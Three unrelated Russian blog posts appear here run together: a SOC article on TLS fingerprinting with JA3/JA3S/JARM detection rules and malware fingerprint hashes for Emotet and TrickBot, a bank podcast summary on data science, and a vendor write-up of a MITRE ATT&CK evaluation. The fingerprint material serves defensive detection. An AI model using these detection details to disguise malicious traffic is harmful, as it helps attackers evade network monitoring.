Суть технологии в захвате элементов пакета приветствия клиента, которые остаются статичными от сеанса к сеансу для каждого клиента. На их основе можно создать отпечаток пальца для распознавания конкретного клиента в последующих сеансах. Записываются следующие поля:

• версия TLS;

• версия записи TLS;

• наборы шифров;

• параметры сжатия;

• список расширений.

Кроме того, данные собираются из трех конкретных расширений (если они доступны):

• алгоритмы подписи;

• алгоритм для шифрования данных;

• хэш функция для проверки содержимого.

Использование такого набора данных позволяет с большой точностью идентифицировать используемый клиент (например, браузер).

Почему это круто:

• Пакет приветствия клиента это первый пакет в любом TLS-соединении. Это позволяет принимать решение о последующих мерах в начале сеанса до того, как потребуется подмена протокола или эмуляция.

• Можно захватывать пакеты приветствия клиента TLS с высокой степенью точности по всем портам с абсолютно нулевым требованием для захвата обоих направлений потока. Это означает, что датчики в среде с асимметричной маршрутизацией или с ограничениями ресурсов, потенциально вызывающими отбрасывание пакетов, все равно могут собирать пакеты приветствия клиента, независимо от того, были ли они скрыты из-за работы на нестандартных портах.

• Пакеты приветствия клиента возникают достаточно редко, поэтому дополнительная обработка хэшей не повлечет значительных затрат.

Наиболее очевидное использование TLS Fingerprinting пассивное обнаружение. Технология позволяет обнаруживать широкий спектр потенциально нежелательного трафика, не требуя доступа к конечным точкам. Можно обнаруживать как конкретные вредоносы по их поведению и/или обращениям к командным центрам, так и обычный софт, используемый не по назначению или в обход действующих правил.

Например, к серверу Exchange могут обращаться только почтовые клиенты или браузер, если используется OWA, поэтому соединение из скрипта на Python будет подозрительным.

Итого: TLS Fingerprinting предназначен для быстрой идентификации известных TLS-соединений и отслеживания неизвестных TLS-соединений. Входные данные принимаются либо посредством прослушивания трафика, либо при чтении PCAP файлов.

Есть несколько готовых реализаций, наиболее поддерживаемых комьюнити:

• пассивный метод с использованием хэшей JA3 и JA3S;

• активный инструмент снятия отпечатков пальцев с сервера TLS хэши JARM.

JA3 и JA3S

Метод JA3 используется для сбора десятичных значений байтов для следующих полей в пакете приветствия клиента: версия TLS, набор шифров, список расширений протоколов TLS, эллиптические кривые и форматы эллиптических кривых. Затем он объединяет эти значения вместе по порядку, используя символ , для разграничения каждого поля и - для разграничения каждого значения в каждом поле.

Порядок полей следующий:

TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats

Пример:

771,49196-49162-49195-52393-49161-49200-49172-49199-52392-49171-159-57-56-107-158-52394-51-50-103-22-19-157-53-61-156-47-60-10,0-23-65281-10-11-13-28,29-23-24-25,0

Если в ClientHello нет расширений TLS, поля остаются пустыми:

769,451091009836191899,,,

Эти строки затем хэшируются MD5. Пример отпечатка JA3:

c8446f59cca2149cb5f56ced4b448c8d

JA3S это хэш идентификации сервера. Метод JA3S заключается в сборе десятичных значений байтов для следующих полей в пакете приветствия сервера: версия TLS, набор шифров и список расширений протоколов TLS. После сбора значений, происходит процесс объединения этих значений вместе по порядку, используя , для разграничения каждого поля и - для разграничения каждого значения в каждом поле.

Порядок полей, следующий:

TLSVersion,Cipher,Extensions

Пример:

769,47,6528101135516

Если в Server Hello нет расширений TLS, поля остаются пустыми.

Пример:

769,47,

Эти строки затем хэшируются MD5 для создания 32-символьного отпечатка пальца.

Это отпечаток JA3S:

4835b19f14997673071435cb321f5445

JA3 и JA3S это методы снятия отпечатков TLS. JA3 отслеживает способ, которым клиентское приложение обменивается данными через TLS, а JA3S отслеживает ответ сервера. Вместе они создают отпечаток криптографического согласования между клиентом и сервером.

Теперь перейдем к описанию активного метода JARM.

JARM

JARM работает, активно отправляя 10 пакетов приветствия клиента TLS на целевой сервер и фиксируя определенные атрибуты ответов приветствия сервера. Затем агрегированные ответы сервера TLS хэшируются определенным образом для получения отпечатка JARM. JARM отправляет разные версии, шифры и расширения TLS в разном порядке для сбора уникальных ответов. Хэш JARM представляет собой гибридный нечеткий хэш, он использует комбинацию обратимого и необратимого алгоритма хеширования для создания 62-символьного отпечатка.

Отпечатки JARM можно использовать:

• убедиться, что все серверы в группе имеют одинаковую конфигурацию TLS;

• сгруппировать разрозненные серверы в сети Интернет по конфигурации, указав, например, что сервер может принадлежать Google, Yandex или Apple;

• определить приложения или инфраструктуру по умолчанию;

• выявить командные центры и других вредоносные серверы в сети Интернет.

  

Первые 30 символов состоят из шифра и версии TLS, выбранных сервером для каждого из 10 отправленных приветствий клиента. 000 означает, что сервер отказался согласовывать приветствие с этим клиентом. Остальные 32 символа представляют собой усеченный хэш SHA256 совокупных расширений, отправленных сервером, без учета данных сертификата x509. При сравнении отпечатков JARM, если первые 30 символов совпадают, но последние 32 отличаются, это будет означать, что серверы имеют очень похожие конфигурации, принимают одинаковые версии и шифры, но используют различные расширения, что не позволяет их считать полностью идентичными.

Исторически так сложилось, что индустрия кибербезопасности была сосредоточена в основном на индикаторах компрометации (IOC) и индикаторах атаки (IOA). То есть когда вредоносное ПО/хост и т.п. будут кем-то обнаружены, исследователи или вендоры платформ TI вычленяют уникальные или не очень признаки выявленного вредоноса или атаки типа IP, домена, хэша файла и т.п. и публикуют их в чёрных списках. Проблема в том, что к этому моменту вредоносное ПО уже распространено, и специалисты ИБ автоматически переходят в оборону.

Интернет-сканирование JARM в сочетании с другими метаданными и историческим анализом даёт возможность упреждающей идентификации IOC для новых вредоносов. Например, можно сканировать Интернет с помощью JARM, сопоставлять известные результаты JARM с историей домена, IP и репутацией вместе с данными сертификата для создания черного списка. Это позволяет перейти к возможности программного создания высокоточных списков блокировки до того, как первая вредоносная программа будет распространена.

Можно использовать JARM автоматически сканируя все хосты назначения, детектируемые в сети компании, для обогащения событий, и использовать сводную таблицу, чтобы не сканировать одни и те же хосты несколько раз. Затем можно запускать запросы заведомо плохих JARM или использовать список для корреляции.

Чтобы упростить процесс, можно использовать готовое решение. В настоящее время хэши JARM умеют считать продукты Palo Alto Networks и используют их API для обогащения целевого JARM.

Примеры реализации

Если нет возможности или желания использовать готовые решения от Palo Altoи пр., можно реализовать в своей инфраструктуре свое средство мониторинга трафика, например, на основе Zeek (ранее назывался Bro) популярного open-source продукта, заточенного специально для этого.

Zeek собирает огромное количество информации из первоначального согласования TLS, т.к. оно обрабатывается в открытом виде. Таким образом, хотя мы не можем видеть всё, что связано с шифрованием TLS, мы всё же можем получить общее представление о том, что происходит.

Zeek умеет выполнять снятие отпечатков TLS с помощью хэша JA3\JA3S.

Если у нас уже есть Zeek, в него попадает трафик, то для полноценного мониторинга нам понадобится SIEM (можно обойтись и без SIEM, но тогда обрабатывать логи Zeekа придется вручную). Допустим, SIEM у нас все же есть. Помимо инструментов обработки трафика и событий Zeek нам еще потребуются списки готовых хэшей, чтобы было с чем сравнивать.

В случае в JA3 все просто. Есть готовый инструмент, к которому можно обращаться по API для проверки выявленного хэша JA3 и принятия решения нормально это или не очень.

Хэши JA3S, соответствующие вредоносам, достать чуть сложнее. Есть, например, небольшая подборка тут, есть и еще, нужно только искать или считать самостоятельно.

С хешами JARM еще немного сложнее, если у вас нет Palo Alto, их нужно собирать по разрозненным отчетам аналитиков или считать самостоятельно и вести собственные белые и черные списки. Но на github тоже попадаются тематические подборки, например, эта. Мы ее задействуем в дальнейшем при проработке правил по JARM.

Далее приведем некоторые описания правил, которые мы реализуем у себя. Также есть неплохой доклад от Splunk с примерами алгоритмов и правил мониторинга по хэшам JA3/JA3S. Доступен здесь. Правила можно адаптировать под любую SIEM.

• Выявление признака конкретного вредоноса по хэшам JA3\JA3S. Вот, например, готовые значения для Emotet и TrickBot:

  JA3 = 4d7a28d6f2263ed61de88ca66eb011e3 (Emotet)JA3S = 80b3a14bccc8598a1f3bbe83e71f735f (C2 Server Response)JA3 = 6734f37431670b3ab4292b8f60f29984 (Trickbot)JA3S = 623de93db17d313345d7ea481e7443cf(C2 Server Response)
  

• Выявления нового хэша JA3, ранее не появляющегося в сети.

Список клиентского ПО в любой сети, как правило, достаточно статичен, и, если появится что-то новенькое это однозначно повод разобраться. Правда, это может быть новая версия уже известного ПО, тогда ее нужно добавить в белый список.

• Выявления хэшей JA3 не из белого списка.

Общее правило, которое позволит обратить внимание на любую активность, которая явно не помечена заранее как разрешенная. Сюда могут попасть, как новые ранее неизвестные клиентские устройства или приложения, так и вредоносы, попавшие к вам в сеть. В любом случае трекать это стоит.

• Выявления хэшей JA3\JA3S из чёрного списка.

Это правило нацелено на выявление хэшей заведомо вредоносного ПО.

• Выявление обращений к C&C по хэшам JARM.

При выявлении обращения к TLS-серверу, неизвестному нам или ранее не появляющемуся в логах, необходимо посчитать его JARM хэш (можно вручную, можно скриптом или с использованием SOAR), при совпадении с хэшем, соответствующим известному C&C серверу, блокируем соединение, изолируем хост и расследуем инцидент.

• Выявление JA3 хэшей, не характерных для системы.

При появлении на хостах с Windows JA3 хэшей, характерных для Linux или смартфонов (Android/IOS), стоит обратить внимание на такие хосты. Это может являться признаком работы вредоносов (ну или запущенного эмулятора/виртуалки в режиме NAT). Кейс особенно заслуживает внимание, если выявлен на рабочей станции обычного пользователя, далекого от мира IT.

• Выявление JA3 хэшей, характерных для разных браузеров одного семейства.

Сейчас достаточно сложно на один хост поставить две разные версии Firefox или Chrome (виртуальные машины в режиме NAT не в счёт). Такое выявление может свидетельствовать о том, что злоумышленники пытались адаптироваться под установленный софт, но после обновления софта не успели или забыли обновить свой Fingerprint. Хост лучше изолировать и провести расследование.

• Выявление JA3 хэшей, характерных для популярных сетевых библиотек языков программирования.

Ни для кого не секрет, что сейчас ВПО пишется не только на C/C++. Часто встречаются образцы, которые написаны на Python или Golang. Стандартные библиотеки, такие как requests (для python) или http (для Golang), имеют характерные отпечатки в рамках нескольких версий. В случае выявления такого хэша на рабочем месте разработчиков, вероятно, это нормально. Но, если хэши всплывут на рабочем компьютере рядового пользователя, то точно следует провести тщательную проверку, так как с большой вероятностью это будет свидетельством активности вредоноса. Также стоит поддерживать списки актуальных JA3 хэшей для популярных сетевых библиотек, чтобы минимизировать ложные срабатывания.

Важно: Список хэшей JARM (и JA3S тоже) необходимо регулярно пополнять новыми выявленными C&C серверами, полученную самостоятельно или от сторонних исследователей.

При использовании средств защиты сети, которые умеют вычислять хэши JARM самостоятельно и на лету, соединения с серверами из черных списков можно и нужно блокировать автоматически.

В завершении хотим подчеркнуть, что развитие и популяризация технологии TLS Fingerprinting, по нашему мнению, совсем не за горами, и способствует этому внедрение TLS 1.3.

В версиях стандарта TLS до 1.3 у клиента была возможность сообщать, к какому серверу он хочет обратиться SNI (Server Name Indication). Чаще всего в HTTPS для этого использовалось поле HOST, чтобы на одном IP и порту могли работать несколько HTTPS-сайтов. Соответственно и так, без всяких fingerprint, было видно, кто куда идет. Понятно, что речь идёт про легитимные обращения, атакующие всегда могли подделать SNI.

В стандарте TLS 1.3 появилась возможность шифровать имя запрашиваемого сайта Encrypted SNI (ESNI), и безопасники потеряли возможность видеть, куда идёт обращение.

Правда ESNI уже запретили в Китае, и были попытки блокировок в России. Однако ESNI стал часто встречаться, в том числе в инструментах злоумышленников, и без TLS fingerprinting становится сложно понимать, куда происходят обращения в сети.

Авторы статьи:

Михаил Кравченко, SOC-аналитик;

Александр Минин, руководитель направления Threat Intelligence @AAMinin;

Анна Шестакова, руководитель направления мониторинга ИБ.

Привет, Хабр! Команда ВТБ запустила серию подкастов о передовых решениях финтеха Деньги любят техно. Журналист, технологический обозреватель Марина Эфендиева будет обсуждать с экспертами банка, рынка, учеными и бизнесменами перспективы и сложности финтеха: внедрения технологий на основе Big Data, машинного обучения, искусственного интеллекта, вопросы кибербезопасности и защиты данных, перспективные технологические специальности, голосовых помощников и многое другое.

В первом выпускезаместитель президента-председателя правления ВТБ Вадим Кулик и директор Физтех-школы прикладной математики и информатики д.ф.-м.н. Андрей Райгородский обсуждают, почему банки вРоссии так любятData science, можно ли стать дата-сайнтистом за три месяцаигде учиться, чтобысоздатьуспешную карьеру. Под катом основные темы этой беседы и ссылка на сам подкаст.

Откуда взялся банковскийData Science

Тривиальный, но важный вопрос: почему именно банковский Data Science сегодня занимает передовые позиции?

По словам Вадима Кулика, сегодняшние тренды это новый этап в решении вопросов, которые стояли перед банковским сектором еще в 90-х. Тогда жесткая нехватка какой-либо информации о клиентах усложняла процесс выдачи потребительских кредитов и выход на B2C-рынок в целом.

Решая важный для финансовой устойчивости вопрос кому дать кредит, банки параллельно соревновались друг с другом в том, кто быстрее одобрит кредит и выдаст повторный.

Поэтому ВТБ уделяет такое внимание подходу Data Fusion, который предполагает объединение, обезличивание данных из разных источников и их обработку. По этому поводу недавно прошлабольшая конференция.

Хорошей иллюстрацией применения данного подхода может служить СП ВТБ и РостелекомаПлатформа больших данных, которое уже предоставляет рынку продукты на основе Big Data для увеличения эффективности и развития бизнеса.

Data Science за 3 месяца без SMS и регистрации

Андрей Райгородский ответил на ещё один очень важный вопрос: можно ли стать дата сайентистом за 3 месяца, как сейчас предлагают многие онлайн-платформы. Он также рассказал о том, какова сейчас потребность в этих специалистах.

Страна очень требует большого количества людей, которые разбираются в том, что такое данные, как их можно обрабатывать, какие существуют методы. Есть такие хайповые слова, как искусственный интеллект, машинное обучение, нейронные сетки и так далее. В принципе, неудивительно, что люди начинают этим торговать. Это очень востребованный рынок, очень много компаний сейчас предоставляют рабочие места для людей, которые занимаются такого рода анализом, аналитикой. Но тут надо разбираться, что-то можно сделать за три месяца, но топовым специалистом за этот период ты точно не станешь,сказал Райгородский.

По его словам, существуютхорошие онлайн-курсы по аналитике данных. Но стоит различать уровень квалификации, подходящий для решения некоторого ограниченного круга прикладных задач стандартными методами, и уровень, на котором строится повестка завтрашнего дня.

МФТИ (Московский физико-технический институт) лидер этого направления в России фокусируется на фундаментальном обучении и готовит кадры для будущего. При этом есть и специальные нишевые программы например,Школа глубокого обучения, которая заработала в онлайн-формате ещё до того, когда это стало ковидным мейнстримом.

Главной особенностью МФТИ можно считать взаимодействие прикладного и фундаментального. В наши дни это связка между коммерческой индустрией, которая формирует запрос, и академической наукой, которая даёт фундаментальные математические решения. Отличный пример такого симбиоза созданная в начале 2021 года лаборатория ВТБ при МФТИ.

Резюме

Современный мир устроен так, что во многих сферах а в финансовой в первую очередь умение собирать и анализировать данные становится главным фактором роста. Скорость этого роста такова, что не позволяет только сиюминутные задачи. Нужно уметь формировать повестку будущего. Как выразился Андрей Райгородский, нельзя упускать фундаментальное в гонке за количеством кадров: цель не в том, чтобы снесло крышу, а в том, чтобы потолка не стало. А что вы об этом думаете? Делитесь мнениями в комментариях.

А вот и сам подкаст:

База знаний MITRE ATT&CK чрезвычайно ценный инструмент. Она помогает стимулировать развитие всей отрасли кибербезопасности и формализовать описание подходов, которыми пользуются злоумышленники в ходе своих атак. На основе этой базы эксперты MITRE проводят тестирование продуктов по безопасности. В последнем имитировались тактики двух популярных киберпреступных группировок Carbanak и FIN7, а модельными целями стали крупный банк и сеть гостиниц. В ходе тестирования платформа Trend Micro Vision One<sup>TM</sup> смогла оперативно выявить 94% предпринятых хакерами атак. В этом посте мы расскажем о том, как проходило исследование и какие выводы из его результатов могут сделать пользователи.

MITRE и её цели

MITRE некоммерческая организация, которая появилась в США в 1958 году. Её основные цели руководство федеральными исследовательскими центрами, системная инженерия и различные научные изыскания. Помимо прочего, MITRE регулярно проводит исследования MITRE ATT&CK, которые помогают оценить способности различных инструментов кибербезопасности обнаруживать и анализировать атаки хакеров. Для этих целей используется эмуляция методов определённых киберпреступных группировок, которые называются APT (от английского advanced persistent threat, т. е. развитая устойчивая угроза). Это крупные и успешные коллективы хакеров, которые регулярно совершают атаки на глобальном уровне и привлекли к себе внимание различных служб, но пока избегают поимки.

Программа MITRE ATT&CK служит не для оценки качества ПО и составления рейтингов самых успешных вендоров. Её цель дать компаниям максимально прозрачное видение того, как конкретное решение помогает обнаружить атаки и определённые группы угроз. Для удобства все атаки в ходе симуляции рассматриваются с точки зрения количества обнаруженных шагов злоумышленников, аналитики, которая позволяет получить дополнительные данные об их тактике, телеметрии и общей видимости атаки. Специалисты по кибербезопасности могут использовать результаты MITRE ATT&CK, чтобы провести внутренний аудит инфраструктуры и найти пробелы в системе безопасности. Затем они могут подобрать вендоров, которые лучше всего справились с закрытием этих пробелов в ходе исследования. Также тестирование помогает обнаружить излишне защищённые (если это в принципе возможно в современных условиях) узлы и оптимизировать расходы компании на кибербезопасность.

В отличие от предыдущих исследований, в версии 2021 года было проведено опциональное тестирование способности ПО не только анализировать ход атаки и выявлять тактику преступников, но и непосредственно предотвращать проникновение хакеров в систему в режиме онлайн

Кто такие Carbanak и FIN7

В этот раз специалисты MITRE эмулировали атаки сразу двух крупных APT-группировок. В первый день исследования рассматривались тактики и инструменты Carbanak, которая традиционно интересуется банками, а во второй FIN7, которая по сценарию атаковала крупную гостиничную сеть. Обе эти группировки мотивированы финансово, то есть действуют не ради того, чтобы что-то доказать или привлечь внимание общественности. Их интересует конкретная выгода в виде украденных ценных данных и финансовой информации, например, номеров кредитных карт.

Некоторые специалисты объединяют эти группировки в одну (Carbanak) из-за того, что обе команды хакеров используют бэкдор разработки Carbanak для совершения своих атак. Помимо этого, и Carbanak, и FIN7 часто пользуются вредоносным ПО для PoS Pillowmint и системой удалённого доступа Tirion. Тем не менее, в рамках исследования MITRE ATT&CK их рассматривали как независимые группы хакеров, хотя часть тактик и целей группировок совпала.

Компрометация цели

Сценарий этих атак начинается с компрометации важного для организации менеджера банка/гостиницы. В ходе симуляции злоумышленники направляют на его электронную почту фишинговое письмо с вредоносным ПО во вложении. Цель письма хитростью заставить менеджера открыть вложение и таким образом запустить ПО. Это даст хакерам первичный доступ к его системе.

Сохранение доступа к системе

Теперь, когда киберпреступники получили доступ к сети организации, они должны собрать информацию, необходимую для достижения своих целей. В ходе этого используется сразу несколько тактик уклонения, которые помогут сохранить полученный доступ и избежать обнаружения системами кибербезопасности

Злоумышленники применяют метод повышения привилегий, который обычно включает в себя использование уже существующих слабых мест системы, неправильной конфигурации различных элементов и уязвимостей сети для получения полномочий более высокого уровня. Теперь их целью становится поиск учётных данных и получение доступа к нужным машинам в сети, на которых содержатся ценные данные цель атаки.

Как мы уже говорили, обе группировки имеют финансовую мотивацию, поэтому в данном случае они ищут информацию, которая может принести наибольшую выгоду. И Carbanak, и Fin7 ранее уже похищали персональные данные и данные кредитных карт для дальнейшей перепродажи.

Перемещение по сети и подготовка к краже данных

Киберпреступники будут перемещаться по сети, чтобы обнаружить свою основную жертву систему с данными, которые они планируют похитить и перепродать. Именно этот момент можно считать критически важным для обнаружения активности хакеров в инфраструктуре цели атаки. Сопоставив информацию от различных инструментов, платформа кибербезопасности должна своевременно выявить вектор атаки и защитить систему до того, как будут предприняты финальные шаги, то есть безопасный отход из сети со скопированными данными.

На этом этапе особенно ярко проявляются преимущества решений Trend Micro Vision One: автоматическое сопоставление данных об угрозах из разных сегментов сети и конечных точек позволяет направлять службам ИБ более конкретные и полезные предупреждения. Мы не просто сообщаем вам, что произошёл целый ряд отдельных событий мы можем показать, как они все связаны, и есть ли признаки компрометации, которые соответствуют тактикам определённых группировок киберпреступников или типам атак.

Краткое описание симуляций

Первая симуляция комплексной атаки была совершена с применением методов Carbanak. Её целью стал, как часто бывало в деятельности этих киберпреступников, банк. Атака началась с компрометации компьютера менеджера по персоналу, затем злоумышленники исследовали сеть компании до момента, когда нашли ПК финансового директора. Проникнув в эту систему, они завершили сбор ценной информации и начали осуществлять от его лица денежные переводы.

Во второй симуляции использовались методы, характерные для группировки Fin7, которая атаковала сеть гостиниц. Для начала была скомпрометирована система управляющего гостиницы. Затем она использовалась для доступа к сети, в которой злоумышленники собирали учётные данные и искали новые жертвы. Одной из них стала система ИТ-администратора, с помощью которой они получили доступ к бухгалтерии и загрузили код для регулярного копирования информации о платежах клиентов.

В третьем сценарии было запущено 10 атак и проведено 96 тестов. Их целью стало оценить инструменты кибербезопасности и их возможности по быстрому снижению уровня уязвимости систем к атакам, включая сложные или неизвестные их версии. Если в первых двух сценариях рассматривалась работа условной системы видеонаблюдения перед дверями в вашу квартиру, то в этот раз исследователи предложили инструментам кибербезопасности выступить в качестве замка на её двери, то есть в принципе не допустить злоумышленников внутрь. Инструменты для предотвращения атак не менее важны, чем средства их обнаружения, но только вместе они способны выявлять и обезвреживать комплексные атаки из первых двух сценариев.

Каких результатов в итоге добились решения Trend Micro

Тридцать с лишним лет исследований данных и угроз Trend Micro стали важным преимуществом, которое позволило собрать всю необходимую телеметрию, сопоставить факты и рассказать подробную историю этих атак. Платформа Trend Micro Vision One показала следующие (достаточно впечатляющие) результаты:

выявлено 94% всех атак, то есть 167 из 177 шагов, предпринятых киберпреступниками в ходе симуляций, такая видимость атак помогает клиентам быстрее понять цели хакеров и среагировать на них вовремя;

во многих организациях, особенно в тех, что активно переносят свою инфраструктуру в облака, набирает популярность ОС Linux для них интересным окажется то, что при оценке работы в этой среде наши инструменты выявили 100% (14 из 14) атак;

за время симуляций платформа Trend Micro Vision One помогла получить 139 образцов телеметрических данных, благодаря которым упрощается дальнейший анализ инцидентов и выявление атак;

в финальном сценарии 90% атак удалось предотвратить при помощи автоматизированных инструментов. Раннее обнаружение и блокировка атак высвобождает ресурсы, которые иначе пришлось бы тратить на их анализ, а это в свою очередь даёт ИБ-специалистам возможность сосредоточиться на более сложных проблемах кибербезпасности.

К размышлению: иерархия оценок MITRE ATT&CK

Для самостоятельной оценки итогов исследования стоит понимать, как MITRE ATT&CK рассматривает результаты обнаружения атак. Всего в системе существует пять категорий показателей:

1. Атака не выявлена (None): такой показатель не означает полного отсутствия информации об атаке, а всего лишь сигнализирует, что полученный системой результат не соответствует установленным MITRE Engenuity критериям обнаружения;

2. Получены данные телеметрии (Telemetry): обработанные данные показывают, что произошло некое событие, связанное с обнаруживаемой атакой;

3. Обнаружена атака (General): к этой категории относятся оповещения, в которых выявлена подозрительная активность, но она не была отнесена к конкретной тактике или технике киберпреступников;

4. Выявлена тактика (Tactic): в этом случае выявленная атака может быть соотнесена с конкретной тактической целью злоумышленников (например, известно, что целью данной атаки является доступ к учётным данным);

5. Выявлена техника (Technique): обнаружение конкретной техники означает, что мы понимаем, чем конкретно занимаются хакеры (например, что в данном случае используется Credential Dumping).

Результаты, которые попадают в последние три категории, означают, что система кибербезопасности способна выдавать расширенные данные. Это всегда хороший признак, ведь по тактикам и техникам из перечня MITRE ATT&CK можно в деталях рассказать историю атаки и понять её. Поэтому вендоры обычно стремятся получить высокий результат именно в этих категориях. Тактики можно расценивать как главы в книге: хороший специалист способен в общих чертах описать атаку и её цели, используя эти главы, а затем дать более детальную оценку атаки, обращаясь к конкретным техникам на ей страницах.

Показатели телеметрии также важны, ведь они дают ИБ-специалистам возможность видеть следы киберпреступников и лучше понять вектор их атак. Естественно, в данном случае важно не только видеть, но и уметь анализировать полученные данные. В этом Trend Micro всегда готова помочь. Мы начинаем поиск корреляций в данных, чтобы вам было проще заметить комплексную атаку до того, как она принесёт свои плоды злоумышленникам. А информация от MITRE ATT&CK поможет ближе ознакомиться с различными типами атак и типичными для группировок хакеров инструментами.

Платформа Trend Micro Vision One обнаружила обе атаки и обеспечила их полную видимость, что значительно упрощает дальнейший анализ и расследование инцидентов. 167 выявленных в ходе атак шагов и 139 элементов телеметрии были успешно сопоставлены, что помогло команде составить чёткую картину того, к чему конкретно стремились злоумышленники в каждом из сценариев.

Опциональный третий этап исследования был нацелен на обнаружение и предотвращение атак. Внём приняло участие 17 из 29 вендоров, включая нашу компанию. В этом сценарии инструменты Trend Micro сработали просто отлично, обеспечив автоматическую блокировку 90% атак. Так же успешно они показали себя при работе с серверами на базе Linux. В ходе этих симуляций инструменты Trend Micro Vision One смогли выявить все 14 использованных техник.

Мы всегда рады участвовать в исследованиях MITRE Engenuity ATT&CK, чтобы протестировать наши продукты в борьбе с комплексными угрозами. С полным разбором результатов и подробной информацией о платформе Trend Micro Vision One вы можете ознакомиться по ссылке: https://resources.trendmicro.com/MITRE-Attack-Evaluations.html.